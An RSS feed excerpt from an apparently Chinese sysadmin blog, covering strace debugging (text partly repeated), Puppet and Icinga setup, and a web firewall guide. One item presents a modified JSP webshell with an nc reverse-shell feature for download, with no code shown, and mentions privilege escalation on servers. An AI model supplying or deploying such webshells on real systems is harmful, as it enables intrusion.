		<description><![CDATA[由于最近的一些业务在linux系统上高并发的情况下发生了很多问题，最终都是使用strace跟踪找到了问题所在，便整理了一份strace的使用方法和详解，也拿出来给大家分享一下<br/><br/>功能说明：<br/><br/>strace 命令是一种强大的工具, 能够显示任何由用户空间程式发出的系统调用. strace 显示这些调用的参数并返回符号形式的值. strace 从内核接收信息, 而且无需以任何特别的方式来构建内核. strace 的每一行输出包括系统调用名称, 然后是参数和返回值.<br/>下面记录几个常用option:<br/>-f -F选项告诉strace同时跟踪fork和vfork出来的进程<br/>-o xxx.txt 输出到某个文档. <br/>-e execve 只记录 execve 这类系统调用.<br/><br/>实例说明：<br/><br/><br/>配置php将其开户一个进程，方便每次都能跟踪到数据，如开户多个将刷新多次才可能分配到你监听的进程上<br/>用以下php来做一个示例保存为test2.php(因facebook在国空被gfw，所以请求肯定会超时，特拿来做试验)<br/>&lt;?php<br/>$a = exec(&#34;curl -I www.facebook.com&#34;,$out,$status);<br/>print_r($a);<br/>print_r($out);<br/>print_r($status);<br/>?&gt;<br/><br/><br/>使用curl请求地址或是通过ie请求<br/>Curl –I <a href="http://100.100.100.6/test2.php" target="_blank" rel="external">http://100.100.100.6/test2.php</a><br/>在服务端监听其端口(可使用ps –auxf|grep php-fpm)来确定其进程号<br/>Strace –p 32448（也可使用strace –T –p 32448看每个执行的时间）<br/><br/><img src="http://www.kukafei520.net/blog/download.asp?id=176" border="0" alt=""/><br/><br/>如果执行请求后，可看在上图看到php当执行到<br/>$a = exec(&#34;curl -I www.facebook.com&#34;,$out,$status);<br/>时开始等待返回，25秒左右后才返回结果<br/>另一种测试方法，也可以直接用php去执行跟踪<br/>Strace /usr/bin/php test2.php<br/><br/><img src="http://www.kukafei520.net/blog/download.asp?id=177" border="0" alt=""/><br/><br/>以上图可看到，程序也是在执行<br/>exec(&#34;curl -I www.facebook.com&#34;,$out,$status);的时候开始等待返回，耗费21秒时间<br/><br/>Strace还可以跟踪服务启动过程，帮我们解决一些服务在启动过程中遇到的问题，以下以nginx配置错误为例<br/>以下是不存在/log根目录的、我们来跟踪启动看是什么效果<br/><br/><img src="http://www.kukafei520.net/blog/download.asp?id=178" border="0" alt=""/><br/><br/>Strace /usr/local/nginx/sbin/nginx<br/>以下是其返回结果，也可以看到提示目录有误<br/><br/><img src="http://www.kukafei520.net/blog/download.asp?id=179" border="0" alt=""/><br/><br/>Strace在跟踪时返回0则程序执行正常，如返回其它数字则会继续查找，直到所有默认文件或是设置都不存在时才会报错<br/><br/><br/>详细参数说明：<br/><br/>-c 统计每一系统调用的所执行的时间,次数和出错的次数等.<br/>-d 输出strace关于标准错误的调试信息.<br/>-f 跟踪由fork调用所产生的子进程.<br/>-ff 如果提供-o filename,则所有进程的跟踪结果输出到相应的filename.pid中,pid是各进程的进程号.<br/>-F 尝试跟踪vfork调用.在-f时,vfork不被跟踪.<br/>-h 输出简要的帮助信息.<br/>-i 输出系统调用的入口指针.<br/>-q 禁止输出关于脱离的消息.<br/>-r 打印出相对时间关于每一个系统调用.<br/>-t 在输出中的每一行前加上时间信息.<br/>-tt 在输出中的每一行前加上时间信息,微秒级.<br/>-ttt 微秒级输出,以秒了表示时间.<br/>-T 显示每一调用所耗的时间.<br/>-v 输出所有的系统调用.一些调用关于环境变量,状态,输入输出等调用由于使用频繁,默认不输出.<br/>-V 输出strace的版本信息.<br/>-x 以十六进制形式输出非标准字符串.<br/>-xx 所有字符串以十六进制形式输出.<br/>-a column 设置返回值的输出位置.默认 为40.<br/>-e expr 指定一个表达式,用来控制如何跟踪.格式如下:<br/>[qualifier=][!]value1[,value2]...<br/>qualifier只能是 trace,abbrev,verbose,raw,signal,read,write其中之一.value是用来限定的符号或数字.默认的 qualifier是 trace.感叹号是否定符号.例如-eopen等价于 -e trace=open,表示只跟踪open调用.而-etrace!=open表示跟踪除了open以外的其它调用.有两个特殊的符号 all 和 none. 注意有些shell使用!来执行历史记录里的命令,所以要使用\\.<br/>-e trace=set 只跟踪指定的系统调用.例如:-e trace=open,close,rean,write表示只跟踪这四个系统调用.默认的为set=all.<br/>-e trace=file 只跟踪有关文件操作的系统调用.<br/>-e trace=process 只跟踪有关进程控制的系统调用.<br/>-e trace=network 跟踪与网络有关的所有系统调用.<br/>-e strace=signal 跟踪所有与系统信号有关的系统调用.<br/>-e trace=ipc 跟踪所有与进程通讯有关的系统调用.<br/>-e abbrev=set 设定strace输出的系统调用的结果集.-v 等与 abbrev=none.默认为abbrev=all.<br/>-e raw=set 将指定的系统调用的参数以十六进制显示.<br/>-e signal=set 指定跟踪的系统信号.默认为all.如 signal=!SIGIO(或者signal=!io),表示不跟踪SIGIO信号.<br/>-e read=set 输出从指定文件中读出的数据.例如-e read=3,5<br/>-e write=set 输出写入到指定文件中的数据.<br/>-o filename 将strace的输出写入文件filename<br/>-p pid 跟踪指定的进程pid.<br/>-s strsize 指定输出的字符串的最大长度.默认为32.文件名一直全部输出.<br/>-u username 以username 的UID和GID执行被跟踪的命令.<br/><br/><a href="http://www.kukafei520.net" target="_blank">br/><br/>功能说明：<br/><br/>strace 命令是一种强大的工具, 能够显示任何由用户空间程式发出的系统调用. strace 显示这些调用的参数并返回符号形式的值. strace 从内核接收信息, 而且无需以任何特别的方式来构建内核. strace 的每一行输出包括系统调用名称, 然后是参数和返回值.<br/>下面记录几个常用option:<br/>-f -F选项告诉strace同时跟踪fork和vfork出来的进程<br/>-o xxx.txt 输出到某个文档. <br/>-e execve 只记录 execve 这类系统调用.<br/><br/>实例说明：<br/><br/><br/>配置php将其开户一个进程，方便每次都能跟踪到数据，如开户多个将刷新多次才可能分配到你监听的进程上<br/>用以下php来做一个示例保存为test2.php(因facebook在国空被gfw，所以请求肯定会超时，特拿来做试验)<br/>&lt;?php<br/>$a = exec(&#34;curl -I www.facebook.com&#34;,$out,$status);<br/>print_r($a);<br/>print_r($out);<br/>print_r($status);<br/>?&gt;<br/><br/><br/>使用curl请求地址或是通过ie请求<br/>Curl –I <a href="http://100.100.100.6/test2.php" target="_blank" rel="external">http://100.100.100.6/test2.php</a><br/>在服务端监听其端口(可使用ps –auxf|grep php-fpm)来确定其进程号<br/>Strace –p 32448（也可使用strace –T –p 32448看每个执行的时间）<br/><br/><img src="http://www.kukafei520.net/blog/download.asp?id=176" border="0" alt=""/><br/><br/>如果执行请求后，可看在上图看到php当执行到<br/>$a = exec(&#34;curl -I www.facebook.com&#34;,$out,$status);<br/>时开始等待返回，25秒左右后才返回结果<br/>另一种测试方法，也可以直接用php去执行跟踪<br/>Strace /usr/bin/php test2.php<br/><br/><img src="http://www.kukafei520.net/blog/download.asp?id=177" border="0" alt=""/><br/><br/>以上图可看到，程序也是在执行<br/>exec(&#34;curl -I www.facebook.com&#34;,$out,$status);的时候开始等待返回，耗费21秒时间<br/><br/>Strace还可以跟踪服务启动过程，帮我们解决一些服务在启动过程中遇到的问题，以下以nginx配置错误为例<br/>以下是不存在/log根目录的、我们来跟踪启动看是什么效果<br/><br/><img src="http://www.kukafei520.net/blog/download.asp?id=178" border="0" alt=""/><br/><br/>Strace /usr/local/nginx/sbin/nginx<br/>以下是其返回结果，也可以看到提示目录有误<br/><br/><img src="http://www.kukafei520.net/blog/download.asp?id=179" border="0" alt=""/><br/><br/>Strace在跟踪时返回0则程序执行正常，如返回其它数字则会继续查找，直到所有默认文件或是设置都不存在时才会报错<br/><br/><br/>详细参数说明：<br/><br/>-c 统计每一系统调用的所执行的时间,次数和出错的次数等.<br/>-d 输出strace关于标准错误的调试信息.<br/>-f 跟踪由fork调用所产生的子进程.<br/>-ff 如果提供-o filename,则所有进程的跟踪结果输出到相应的filename.pid中,pid是各进程的进程号.<br/>-F 尝试跟踪vfork调用.在-f时,vfork不被跟踪.<br/>-h 输出简要的帮助信息.<br/>-i 输出系统调用的入口指针.<br/>-q 禁止输出关于脱离的消息.<br/>-r 打印出相对时间关于每一个系统调用.<br/>-t 在输出中的每一行前加上时间信息.<br/>-tt 在输出中的每一行前加上时间信息,微秒级.<br/>-ttt 微秒级输出,以秒了表示时间.<br/>-T 显示每一调用所耗的时间.<br/>-v 输出所有的系统调用.一些调用关于环境变量,状态,输入输出等调用由于使用频繁,默认不输出.<br/>-V 输出strace的版本信息.<br/>-x 以十六进制形式输出非标准字符串.<br/>-xx 所有字符串以十六进制形式输出.<br/>-a column 设置返回值的输出位置.默认 为40.<br/>-e expr 指定一个表达式,用来控制如何跟踪.格式如下:<br/>[qualifier=][!]value1[,value2]...<br/>qualifier只能是 trace,abbrev,verbose,raw,signal,read,write其中之一.value是用来限定的符号或数字.默认的 qualifier是 trace.感叹号是否定符号.例如-eopen等价于 -e trace=open,表示只跟踪open调用.而-etrace!=open表示跟踪除了open以外的其它调用.有两个特殊的符号 all 和 none. 注意有些shell使用!来执行历史记录里的命令,所以要使用\\.<br/>-e trace=set 只跟踪指定的系统调用.例如:-e trace=open,close,rean,write表示只跟踪这四个系统调用.默认的为set=all.<br/>-e trace=file 只跟踪有关文件操作的系统调用.<br/>-e trace=process 只跟踪有关进程控制的系统调用.<br/>-e trace=network 跟踪与网络有关的所有系统调用.<br/>-e strace=signal 跟踪所有与系统信号有关的系统调用.<br/>-e trace=ipc 跟踪所有与进程通讯有关的系统调用.<br/>-e abbrev=set 设定strace输出的系统调用的结果集.-v 等与 abbrev=none.默认为abbrev=all.<br/>-e raw=set 将指定的系统调用的参数以十六进制显示.<br/>-e signal=set 指定跟踪的系统信号.默认为all.如 signal=!SIGIO(或者signal=!io),表示不跟踪SIGIO信号.<br/>-e read=set 输出从指定文件中读出的数据.例如-e read=3,5<br/>-e write=set 输出写入到指定文件中的数据.<br/>-o filename 将strace的输出写入文件filename<br/>-p pid 跟踪指定的进程pid.<br/>-s strsize 指定输出的字符串的最大长度.默认为32.文件名一直全部输出.<br/>-u username 以username 的UID和GID执行被跟踪的命令.<br/><br/</a>原创<br/>转载请注明出处:<a href="http://www.kukafei520.net/blog" target="_blank" rel="external">http://www.kukafei520.net/blog</a><br/>]]></description>
		</item>
		
			<item>
			<link>http://www.kukafei520.net/blog/article.asp?id=447</link>
			<title><![CDATA[排查php内部错误500]]></title>
			<author>voilet119@163.com(苦咖啡)</author>
			<category><![CDATA[网络技术]]></category>
			<pubDate>Thu,17 Nov 2011 15:11:20 +0800</pubDate>
			<guid>http://www.kukafei520.net/blog/default.asp?id=447</guid>
		<description><![CDATA[<p>早上上班第一件事就是看邮件，发现game、shop、pay全部报500错误，这个不是一件小事，增值业务是公司赢利的命脉，第一件事打电话给相关同事，随后登上服务器查看服务器当前情况，负载，CPU等使用都很低，为何还报服务器内部错误，重启服务，发现正常，两分钟后又报500，top下找到一个CPU使用最高的php进程记录下进程号</p>
<p>使用strace -p &quot;进程号&quot;就开始进程跟踪了，一会就显示完跟踪结果，结果如下：</p>
<p>poll([{fd=8, events=POLLIN|POLLPRI}], 1, 0) = 0 (Timeout) <br />
setsockopt(8, SOL_SOCKET, SO_SNDTIMEO, &quot;\2003\341\1\0\0\0\0\0\0\0\0\0\0\0\0&quot;, 16) = 0 <br />
write(8, &quot;\37\0\0\0\3select get_Lock(114180,1) n&quot;..., 35) = 35 <br />
setsockopt(8, SOL_SOCKET, SO_RCVTIMEO, &quot;\2003\341\1\0\0\0\0\0\0\0\0\0\0\0\0&quot;, 16) = 0 <br />
read(8, &quot;\1\0\0\1\1\32\0\0\2\3def\0\0\0\4name\0\f?\0\1\0\0\0\10\200\0&quot;..., 16384) = 59 <br />
setsockopt(8, SOL_SOCKET, SO_RCVTIMEO, &quot;\2003\341\1\0\0\0\0\0\0\0\0\0\0\0\0&quot;, 16) = 0 <br />
setsockopt(8, SOL_SOCKET, SO_RCVTIMEO, &quot;\2003\341\1\0\0\0\0\0\0\0\0\0\0\0\0&quot;, 16) = 0 <br />
setsockopt(8, SOL_SOCKET, SO_RCVTIMEO, &quot;\2003\341\1\0\0\0\0\0\0\0\0\0\0\0\0&quot;, 16) = 0 <br />
setsockopt(8, SOL_SOCKET, SO_RCVTIMEO, &quot;\2003\341\1\0\0\0\0\0\0\0\0\0\0\0\0&quot;, 16) = 0 <br />
poll([{fd=8, events=POLLIN|POLLPRI}], 1, 0) = 0 (Timeout) <br />
setsockopt(8, SOL_SOCKET, SO_SNDTIMEO, &quot;\2003\341\1\0\0\0\0\0\0\0\0\0\0\0\0&quot;, 16) = 0 <br />
write(8, &quot;\337\1\0\0\3update fs_user_account a, f&quot;..., 483) = 483 <br />
setsockopt(8, SOL_SOCKET, SO_RCVTIMEO, &quot;\2003\341\1\0\0\0\0\0\0\0\0\0\0\0\0&quot;, 16) = 0 <br />
read(8, &quot;0\0\0\1\0\0\0\2\0\0\0(Rows matched: 0 Cha&quot;..., 16384) = 52 <br />
poll([{fd=8, events=POLLIN|POLLPRI}], 1, 0) = 0 (Timeout) <br />
setsockopt(8, SOL_SOCKET, SO_SNDTIMEO, &quot;\2003\341\1\0\0\0\0\0\0\0\0\0\0\0\0&quot;, 16) = 0 <br />
write(8, &quot;\34\0\0\0\3select RELEASE_LOCK(114180)&quot;, 32) = 32 <br />
setsockopt(8, SOL_SOCKET, SO_RCVTIMEO, &quot;\2003\341\1\0\0\0\0\0\0\0\0\0\0\0\0&quot;, 16) = 0 <br />
read(8, &quot;\1\0\0\1\1*\0\0\2\3def\0\0\0\24RELEASE_LOCK(11&quot;..., 16384) = 75 <br />
setsockopt(8, SOL_SOCKET, SO_RCVTIMEO, &quot;\2003\341\1\0\0\0\0\0\0\0\0\0\0\0\0&quot;, 16) = 0 <br />
setsockopt(8, SOL_SOCKET, SO_RCVTIMEO, &quot;\2003\341\1\0\0\0\0\0\0\0\0\0\0\0\0&quot;, 16) = 0 <br />
setsockopt(8, SOL_SOCKET, SO_RCVTIMEO, &quot;\2003\341\1\0\0\0\0\0\0\0\0\0\0\0\0&quot;, 16) = 0 <br />
setsockopt(8, SOL_SOCKET, SO_RCVTIMEO, &quot;\2003\341\1\0\0\0\0\0\0\0\0\0\0\0\0&quot;, 16) = 0 <br />
lstat(&quot;/mnt&quot;, {st_mode=S_IFDIR|0755, st_size=4096, ...}) = 0 <br />
lstat(&quot;/mnt/NAS&quot;, {st_mode=S_IFDIR|0755, st_size=4096, ...}) = 0 <br />
lstat(&quot;/mnt/NAS/pay.funshion.com&quot;, {st_mode=S_IFDIR|0755, st_size=4096, ...}) = 0 <br />
lstat(&quot;/mnt/NAS/pay.funshion.com/log&quot;, {st_mode=S_IFDIR|0755, st_size=20480, ...}) = 0 <br />
lstat(&quot;/mnt/NAS/pay.funshion.com/log/pay_20111117.log&quot;, {st_mode=S_IFREG|0644, st_size=1762494, ...}) = 0 <br />
open(&quot;/mnt/NAS/pay.funshion.com/log/pay_20111117.log&quot;, O_WRONLY|O_CREAT|O_APPEND, 0666) = 9 <br />
fstat(9, {st_mode=S_IFREG|0644, st_size=1762494, ...}) = 0 <br />
lseek(9, 0, SEEK_CUR) = 0 <br />
lseek(9, 0, SEEK_CUR) = 0 <br />
flock(9, LOCK_EX &lt;unfinished ...&gt; <br />
Process 1212 detached</p>
<p>很明显程序在写入pay_20111117.log向nas写文件时进程阻塞了，问题就明显了，nas上多组业务都在大量读写，因此nas后来改为只做文件挂载，而日志等其它东西全部本地化，马上修改其配置文件，业务全部恢复正常，大家在遇到一些自己找不到问题原因的时候，可以多试一下strace跟踪命令，比如你一个服务无法启动，可使用strace service mysqld start，一样可以显示跟踪结果，很容易就问题定位了，至此已完美解决问题</p>]]></description>
		</item>
		
			<item>
			<link>http://www.kukafei520.net/blog/article.asp?id=446</link>
			<title><![CDATA[puppet集群化管理【安装】]]></title>
			<author>voilet119@163.com(苦咖啡)</author>
			<category><![CDATA[网络技术]]></category>
			<pubDate>Wed,09 Nov 2011 14:06:06 +0800</pubDate>
			<guid>http://www.kukafei520.net/blog/default.asp?id=446</guid>
		<description><![CDATA[<p>以下全为虚拟环境测试，建意使用ruby1.86,puppet为2.7.3版本，特别强调ruby不要使用1.87版本，在跨机房传输中会存在问题</p>
<p>本文全部为tar包编译，适合于centos及redhat系统，特别强调安装完puppet客户端后修改手动编译位置，文中做了说明</p>
<p>实验环境：Vmware +centos 5.4/64 redhat 4.5/64
<br/>
软件环境： ruby 1.86 mysql为yum包 puppet 2.7.3 facter-1.6.0</p>
<p>服务端：192.168.8.207 puppet
<br/>
客户端：192.168.8.208 redhat4</p>
<p>客户端服务端配置：
<br/>
本地解析配置
<br/>
vi /etc/hosts
<br/>
192.168.8.207 puppet
<br/>
192.168.8.208 redhat4</p>
<p><br/>
puppet 需要时间同步
<br/>
yum install -y ntp
<br/>
ntpdate ntp.api.bz</p>
<p><br/>
下载所需tar包
<br/>
cd ~
<br/>
wget <a href="http://ftp.ruby-lang.org/pub/ruby/1.8/ruby-1.8.6.tar.gz">http://ftp.ruby-lang.org/pub/ruby/1.8/ruby-1.8.6.tar.gz</a>
<br/>
tar zxvf ruby-1.8.6.tar.gz
<br/>
cd ruby-1.8.6
<br/>
./configure
<br/>
make &amp;&amp; make install
<br/>
ln -s /usr/local/lib/ruby /usr/bin/
<br/>
cd ../</p>
<p>wget <a href="http://puppetlabs.com/downloads/facter/facter-1.6.0.tar.gz">http://puppetlabs.com/downloads/facter/facter-1.6.0.tar.gz</a>
<br/>
tar zxvf facter-1.6.0.tar.gz
<br/>
cd facter-1.6.0
<br/>
ruby install.rb
<br/>
cd ../</p>
<p>wget <a href="http://puppetlabs.com/downloads/puppet/puppet-2.7.3.tar.gz">http://puppetlabs.com/downloads/puppet/puppet-2.7.3.tar.gz</a>
<br/>
tar zxvf puppet-2.7.3.tar.gz
<br/>
cd puppet-2.7.3
<br/>
ruby install.rb</p>
<p>groupadd puppet
<br/>
useradd -g puppet -s /bin/false -M puppet
<br/>
puppetmasterd -mkusers
<br/>
cp conf/redhat/* /etc/puppet/</p>
<p>验证是否成功安装
<br/>
puppet master
<br/>
[root@puppet ~]# ps aux |grep puppet |grep -v grep
<br/>
显示puppet进程...
<br/>
puppet 3444 0.2 12.0 127136 38168 ? Ssl 11:00 0:00 /usr/bin/ruby /usr/bin/puppet master</p>
<p><br/>
服务端：
<br/>
cp /etc/puppet/server.init /etc/init.d/puppetmasterd
<br/>
chmod 755 /etc/init.d/puppetmasterd
<br/>
chkconfig --add puppetmasterd
<br/>
chkconfig --level 35 puppetmasterd on</p>
<p>pkill puppet 先删除之前的验证进程
<br/>
service puppetmasterd start 启动
<br/>
服务端口是8140
<br/>
查看端口监听
<br/>
[root@puppet ~]# lsof -i:8140
<br/>
COMMAND PID USER FD TYPE DEVICE SIZE NODE NAME
<br/>
puppetmas 22674 puppet 7u IPv4 395077 TCP *:8140 (LISTEN)</p>
<p><br/>
客户端：
<br/>
cp /etc/puppet/client.init /etc/init.d/puppetd
<br/>
chmod 755 /etc/init.d/puppetd
<br/>
chkconfig --add puppetd</p>
<p><br/>
chkconfig --level 35 puppetd on</p>
<p>server= CTC-SQUID-231
<br/>
runinterval =250
<br/>
listen = true
<br/>
report = true</p>
<p><br/>
须注意：
<br/>
手动编译puppetd在/usr/local/sbin/puppetd
<br/>
需要手动修改启动脚本位置（程序在19行的位置）
<br/>
vi /etc/init.d/puppetd
<br/>
找到puppetd=${PUPPETD-/usr/sbin/puppetd} 修改为puppetd=${PUPPETD-/usr/local/sbin/puppetd}</p>
<p>也可执行下面shell进行修改
<br/>
sed -i 's#/usr/sbin/puppetd#/usr/local/sbin/puppetd#' /etc/init.d/puppetd</p>
<p><br/>
pkill puppet 先删除之前的验证进程
<br/>
service puppetd start</p>
<p><br/>
在客户端申请证书
<br/>
[root@redhat4 ~]# puppetd --test --server puppet
<br/>
warning: peer certificate won't be verified in this SSL session
<br/>
warning: peer certificate won't be verified in this SSL session
<br/>
warning: peer certificate won't be verified in this SSL session
<br/>
Exiting; no certificate found and waitforcert is disabled</p>
<p>如上所示表示已连接上服务端，等待服务端授权
<br/>
服务器如下操作：
<br/>
[root@puppet ~]# puppetca --list
<br/>
redhat4
<br/>
已经显示客户端请求主机名，将主机授权
<br/>
[root@puppet ~]# puppetca -s redhat4
<br/>
notice: Signed certificate request for redhat4
<br/>
notice: Removing file Puppet::SSL::CertificateRequest redhat4 at '/var/lib/puppet/ssl/ca/requests/redhat4.pem'</p>
<p>在到客户端在次请求
<br/>
[root@redhat4 ~]# puppetd --test --server puppet
<br/>
info: Caching catalog for redhat4
<br/>
info: Applying configuration version '1316439443'
<br/>
notice: Finished catalog run in 0.05 seconds</p>
<p>如上所示已正经成功</p>
<p>如以上出现error 字样 则 删除client上的ssl文件夹
<br/>
err: Could not retrieve catalog from remote server: certificate verify failed
<br/>
warning: Not using cache on failed catalog
<br/>
err: Could not retrieve catalog; skipping run</p>
<p>rm -rf /var/lib/puppet/ssl/
<br/>
再次循环申请证书 puppetd --test --server puppet</p>
<p>完成
<br/>
证书同主机名绑定，如一方修改了主机名则需重新生成证书</p>
<p>主机删除客户端证书
<br/>
puppetca --clean 主机名</p>
<p>功能测试
<br/>
[root@puppet ~]# vi /etc/puppet/manifests/site.pp
<br/>
node default {
<br/>
file { "/tmp/funshion.txt":content =&gt; "voilet hello,this is test64 to your pc\n";}
<br/>
}
<br/>
新加文件需指定权限，否则无法正常执行
<br/>
chown -R puppet:puppet /etc/puppet/mainfests/site.pp</p>
<p>service puppetmasterd restart 初次建立这个文件须重启服务
<br/>
client上执行 puppetd --test --server puppet</p>
<p>[root@redhat4 ~]# puppetd --test --server puppet
<br/>
info: Caching catalog for redhat4
<br/>
info: Applying configuration version '1316439602'
<br/>
notice: /Stage[main]//Node[default]/File[/tmp/funshion.txt]/ensure: defined content as '{md5}7e6c72f5e0b42ae25fa133957719a82d'
<br/>
notice: Finished catalog run in 0.05 seconds</p>
<p>可以看到已经生成文件：/tmp/funshion.txt
<br/>
[root@redhat4 ~]# cat /tmp/funshion.txt
<br/>
voilet hello,this is test64 to your pc
<br/></p>]]></description>
		</item>
		
			<item>
			<link>http://www.kukafei520.net/blog/article.asp?id=445</link>
			<title><![CDATA[icinga安装配置【原创】]]></title>
			<author>voilet119@163.com(苦咖啡)</author>
			<category><![CDATA[网络技术]]></category>
			<pubDate>Mon,07 Nov 2011 16:35:23 +0800</pubDate>
			<guid>http://www.kukafei520.net/blog/default.asp?id=445</guid>
		<description><![CDATA[<p>icinga是nagios升级版，其开发人员全部为nagios原小组成员，其绝对免费，在nagios基础上进行二次开发，优化一些文件，其nagios原配置文件直接无缝对接，其安装配置方法如下</p>
<p>中文项目地址</p>
<p><a href="http://icinga-cn.sourceforge.net/">http://icinga-cn.sourceforge.net/</a></p>
<p>安装基础依赖</p>
<p>yum install libdbi-devel libdbi libdbi-drivers libdbi-dbd-mysql</p>
<p>新增用户组及用户</p>
<p>groupadd www <br />
useradd -g www www</p>
<p>wget <a href="http://jaist.dl.sourceforge.net/project/icinga-cn/icinga-cn/icinga-cn-1.5.1/icinga-cn-1.5.1.tar.bz2">http://jaist.dl.sourceforge.net/project/icinga-cn/icinga-cn/icinga-cn-1.5.1/icinga-cn-1.5.1.tar.bz2</a> <br />
tar jxvf icinga-cn-1.5.1.tar.bz2 <br />
cd icinga-cn-1.5.1 <br />
./configure --prefix=/usr/local/icinga --enable-idoutils --enable-embedded-perl --enable-ssl --with-icinga-user=www --with-icinga-group=www --with-command-user=www --with-command-group=www --with-web-user=www --with-web-group=www --with-httpd-conf=/etc/httpd/conf/conf.d <br />
make all <br />
make install <br />
make install-init <br />
make install-commandmode <br />
make install-idoutils <br />
make install-api <br />
make install-config <br />
make install-webconf</p>
<p>安装nagios插件</p>
<p>tar zxvf nagios-plugins-1.4.15.tar.gz <br />
cd nagios-plugins-1.4.15/ <br />
./configure --prefix=/usr/local/icinga --with-cgiurl=/icinga/cgi-bin --with-htmurl=/www --with-nagios-user=www --with-nagios-group=www <br />
make &amp;&amp; make install</p>
<p>安装nrpe</p>
<p>tar zxvf icinga-nrpe-HEAD.tar.gz <br />
cd icinga-nrpe <br />
./configure --with-nrpe-user=www --with-nrpe-group=www --with-icinga-user=www --with-icinga-group=www <br />
make <br />
make install</p>
<p>拷贝nrpe文件：</p>
<p>cp src/nrpe /usr/local/icinga/bin <br />
cp sample-config/nrpe.cfg /usr/local/icinga/etc</p>
<p>启动nrpe病检查：</p>
<p>/usr/local/icinga/bin/nrpe -n -c /usr/local/icinga/etc/nrpe.cfg -d <br />
/usr/local/icinga/libexec/check_nrpe -H 127.0.0.1 -n</p>
<p>默认其icinga用户名 <br />
user:icingaadmin <br />
pass:admin <br />
如修改密码则使用 <br />
htpasswd -c /usr/local/icinga/etc/htpasswd.users icingaadmin</p>
<p>如修改用户名，则须修改cgi.cfg文件，将里面的icingaadm修改为你修改的用户，否则无权限查看主机服务</p>
<p>在其它客户机安装nrpe及nagios插件即可，nrpe配置文件允许监控主机进行数据采集</p>
<p>在客户机安装完成插件及nrpe后，可从服务端向客户端进行连接测试</p>
<p>usr/local/icinga/libexec/check_nrpe -H 192.168.1.128 -c check_load <br />
OK - load average: 0.16, 0.14, 0.06|load1=0.160;1.500;3.000;0; load5=0.140;1.100;2.200;0; load15=0.060;0.900;1.900;0;</p>
<p>如测试硬盘空间check_disk或swap交换分区check_swap等，最后界面如下</p>
<p><img alt="icinga.jpg" height="738" width="1024" src="http://www.kukafei520.net/blog/attachments/month_1111/w2011117163325.jpg" /></p>
<p><img alt="" src="http://www.kukafei520.net/blog/download.asp?id=175" /></p>
<p>&nbsp;</p>
<p>&nbsp;</p>]]></description>
		</item>
		
			<item>
			<link>http://www.kukafei520.net/blog/article.asp?id=444</link>
			<title><![CDATA[修改版jsp webshell，加入nc反弹perl]]></title>
			<author>voilet119@163.com(苦咖啡)</author>
			<category><![CDATA[网络技术]]></category>
			<pubDate>Thu,23 Dec 2010 13:29:39 +0800</pubDate>
			<guid>http://www.kukafei520.net/blog/default.asp?id=444</guid>
		<description><![CDATA[最近一直在研究linux服务器java提权及程序反弹，也提权过几台服务器，当然更多的目的是测试exp及服务器权限设置问题，修改了一个shell，以下为截图<br/><br/><img src="http://www.kukafei520.net/blog/download.asp?id=168" border="0" alt=""/><br/><br/><img src="http://www.kukafei520.net/blog/download.asp?id=169" border="0" alt=""/><br/><br/><img src="http://www.kukafei520.net/blog/download.asp?id=170" border="0" alt=""/><br/><br/><img src="http://www.kukafei520.net/blog/download.asp?id=171" border="0" alt=""/><br/><br/><img src="http://www.kukafei520.net/blog/download.asp?id=172" border="0" alt=""/><br/><br/><span id="down_aojf29pi65"></span><script language="javascript" type="text/javascript">doAjax('?action=Antidown&id=174&downurl=download%2Easp%3Fid%3D174&main=%E7%82%B9%E5%87%BB%E4%B8%8B%E8%BD%BD%E6%AD%A4%E6%96%87%E4%BB%B6','down_aojf29pi65');</script><br/>]]></description>
		</item>
		
			<item>
			<link>http://www.kukafei520.net/blog/article.asp?id=443</link>
			<title><![CDATA[WEB应用防火墙 linux版]]></title>
			<author>voilet119@163.com(苦咖啡)</author>
			<category><![CDATA[网络技术]]></category>
			<pubDate>Wed,22 Dec 2010 20:12:41 +0800</pubDate>
			<guid>http://www.kukafei520.net/blog/default.asp?id=443</guid>
		<description><![CDATA[你是否因为自己的服务器被注入可是入侵，常让你忙的手忙脚乱，以下方法可以解决你所遇到的问题，感谢开源的强大<br/>主要功能：<br/>黑客防御<br/>Safe3 WEB应用防火墙基于WEB入侵异常检测技术，对WEB应用实施全面、深度防御，能够有效识别、阻止日益盛行的WEB应用黑客攻击（如SQL注入、钓鱼攻击、表单绕过、缓冲区溢出、CGI扫描、目录遍历等）： <br/>SQL注入 命令注入 Cookie 注入 脚本(XSS、CSRF) 敏感信息泄露 恶意代码 错误配置 目录遍历 会话劫持 文件包含 缓冲区溢出 应用层拒绝服务 漏洞扫描攻击 智能学习功能<br/>通过智能学习防御最新0day攻击。 <br/>web应用加速 <br/>系统内嵌应用加速模块，通过对各类静、动态页面及部分脚本的高速内存缓存，大大提高访问速度。 <br/>敏感信息泄露防护<br/>系统内置安全防护策略，可以灵活定义HTTP/HTTPS错误返回的默认页面，避免因为WEB服务异常，导致敏感信息（如：WEB应用安装目录、WEB服务器版本信息等）的泄露。 <br/>网页防篡改<br/>系统提供网页防篡改功能，通过实时检测和保护机制，确保被篡改内容不被访问者浏览到。 <br/>负载均衡<br/>系统内置负载均衡模块，实现多网站网站服务器的均衡访问。 <br/>访问日志审计<br/>提供WEB应用访问的日志记录、分析、统计管理等。 <br/>策略配置<br/>提供自定义安全策略配置，适应各种应用环境。 <br/>告警 <br/>实时告警，支持邮件、短信等多种方式告警。 <br/>系统报表<br/>支持自定义统计，报表支持各类导出格式（WORD、EXCEL、PDF、HTML等）。 <br/>本版为原版精简版，功能如下<br/>1.拦截GET sql注入<br/>2.拦截Cookie sql注入<br/>3.拦截XSS跨站攻击<br/>4.拦截web溢出攻击<br/>5.拦截非法http请求方法攻击<br/>6.web负载均衡功能<br/>7.网页压缩节省带宽功能<br/>8.Web加速功能 <br/><br/>下载地址：<a href="http://www.safe3.com.cn/safe3waf-2.3.zip" target="_blank" rel="external">http://www.safe3.com.cn/safe3waf-2.3.zip</a><br/>1、安装步骤：<br/><br/>（系统要求：Linux 2.6+ 内核，本文中的Linux操作系统为CentOS 5.5）<br/>tar zxvf safe3waf-2.3.tar.gz<br/>cd safe3waf-2.3<br/>make install //默认安装到/usr/local/safe3waf/目录，可自行修改Makefile里面的安装路径<br/> <br/>2、修改配置文件<br/><br/>vi /usr/local/safe3waf/etc/safe3waf.conf<br/>webserver 192.168.2.171 80 这段改成要保护的网站的地址，可以添加多个该段做负载均衡<br/>　 <br/><br/>3、启动Safe3waf<br/><br/>ulimit -SHn 65535<br/><br/>/usr/local/safe3waf/bin/safe3waf.sh start<br/> 